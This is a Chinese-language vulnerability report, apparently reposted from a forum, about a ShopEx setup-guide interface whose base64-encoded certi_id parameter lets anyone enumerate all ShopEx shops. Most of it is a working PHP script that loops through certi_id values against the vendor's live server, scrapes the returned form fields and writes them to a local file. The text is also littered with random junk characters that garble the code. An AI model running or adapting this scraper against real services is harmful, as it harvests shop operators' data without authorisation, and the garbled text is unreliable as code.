|
|
简要描述:4 x9 ?" J* V) k" o2 h8 w+ z
ShopEx某接口缺陷,可遍历所有网站, f8 W* @9 q1 j4 n! j* |
详细说明:8 }9 k6 p- z4 F0 n1 B- s
问题出现在shopex 网店使用向导页面
; n% g: W1 r1 P- B7 K+ `1 j3 O
) ?+ [7 n! Y/ t! t; l
" j6 `. \: A/ T3 U1 V) C* z& a: r
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
- k ]& b) P! j8 E( S3 ^- Q, y4 k5 B9 d# J
+ v7 Y8 C- \8 u3 Y4 N
0 X/ }% _, I& s! ]6 O) k* k& |$ }refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
0 h9 |: W9 _0 y- T) x" U; Z! e
. E& J2 ^( Y1 g) ~5 A
/ L5 w. P7 K4 {1 T) k( M3 T; |
7 }9 u) x7 l7 @我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
]' H- H& I! k# `' ^* s v1 f$ t* ^& H
# n5 R# v% G2 ]$ r- v( S8 g; U0 L) }8 r- x6 O
<?php
5 g* U. N1 R O+ U( ?8 _
7 {" Q9 N# v% z( Y* d: [, O P for ($i=1; $i < 10000; $i++) { //遍历- N4 d4 d+ m4 U& Q8 v
* U( Q# R' n/ m3 @5 a: G6 f: H( L ShowshopExD($i);9 ?8 |8 {* @0 r3 ~# c
6 e: @$ z( `& o2 _: N" s! x }: G B' A" ?/ a2 I2 r5 V
( l. A; _7 W% G/ f; o9 Z1 ] function ShowshopExD($cid) {
7 n ~; S6 q/ ]7 y l, H1 _" }; t: M8 P A, g
$url='http://guide.ecos.shopex.cn/step2.php';3 n q! [+ P9 t: M3 a" h
: g; r& A+ M! H# V0 B ^ $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');9 y- M8 O- Q7 S, \: a: B
) F' O8 {: h+ Q+ y- a7 f! @( q $url = $url.'?refer='.$refer;1 C! n4 l7 B# A% E I* e
p/ g9 Y- t q! X" D) P $ch = curl_init($url);, _4 R" T, Q4 j( |7 s( D. p0 n* F
, y9 l7 J% m3 P; b k$ f* @ curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;% G2 p% M+ W6 x; s7 v: `
% X$ r/ E5 a9 z4 g; ~3 A6 a" g curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
0 A5 D% p7 J2 S r; l, [- k( ~. I0 w
; d- K4 b R& x $result = curl_exec($ch);( |' s% [2 H9 u$ ]/ {/ e! z' @& I! \& _! n
- G9 f! W; u( r, s/ n0 F
$result = mb_convert_encoding($result, "gb2312", "UTF-8");. b* n1 _, e3 {6 ?9 Q
7 h9 D. V, H% r5 ^9 ] if(strpos($result,$refer))# _1 w3 Q+ G1 K( E0 y/ E
) a1 y1 R9 v8 S3 [7 n {
0 b7 t# X3 I. C! f$ K8 C" D
$ }0 P: p3 x F3 d' `9 i3 d1 x $fp = fopen("c:/shopEx.txt",'ab'); //保存文件 [. @) w! B: o' m7 |6 `
; b1 F6 D7 ^; ^( K1 C preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);# a- k1 t9 h0 T2 B; O$ Y! l
+ L; u. T, L) j |! P, Z! l) S8 Q, {
foreach ($value[1] as $key) {
" L. t5 {3 a: t; f- Y
( D& W1 C, y( D2 `7 v, p preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);' H/ J( |: @0 m" e; h9 Q
% O% Q# \' v8 ]! Z5 q echo $res[1][0].':'.$res[3][0]."\r\n";
9 J' ^' Z6 V! D* k, I, I! c; I6 e1 A
0 Q* M6 D5 U. r( {* V+ {. @$ Y) y" ?; _ $col =$res[1][0].':'.$res[3][0]."\r\n";
' g% f0 s- n9 D/ O7 a
9 R {% ~: z! m0 A2 E fwrite($fp, $col, strlen($col));
0 x: ?5 q* y+ u: k2 |9 B% P0 S J) S$ K5 h" T: }& ]) v; h7 p9 L: \& }/ i
}$ m: A U7 w8 r7 a
* \9 c3 G6 i; L9 `( W- w* X
echo '--------------------------------'."\r\n";
* `) T0 G- o4 A1 _4 r5 b
7 L; A' Y- y1 T fclose($fp); 1 _, z P, [6 | H# @7 M; e
2 p4 Y2 A$ L$ k- T+ a5 M
}6 X6 p1 w6 w/ W( [; k+ y
& a" S. a2 {* C- h8 [
flush();8 u/ t6 M3 y: ?( d
: t. t& y) H# g: {, F
curl_close($ch);
3 n. Q2 b6 }' y+ s
; ?$ Y* y$ E3 P6 d& i2 s }! B2 r' G* r0 F& z5 [ Z
, d2 @. |. x+ b& g6 {7 i
?># }# s3 O3 O) S0 F Q# w# P4 K
漏洞证明:+ v. q* w/ {) Y
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
0 a z' q7 s+ f! U* |refer换成其他加密方式9 \% N* o! U% Q2 Q- p( b
|
|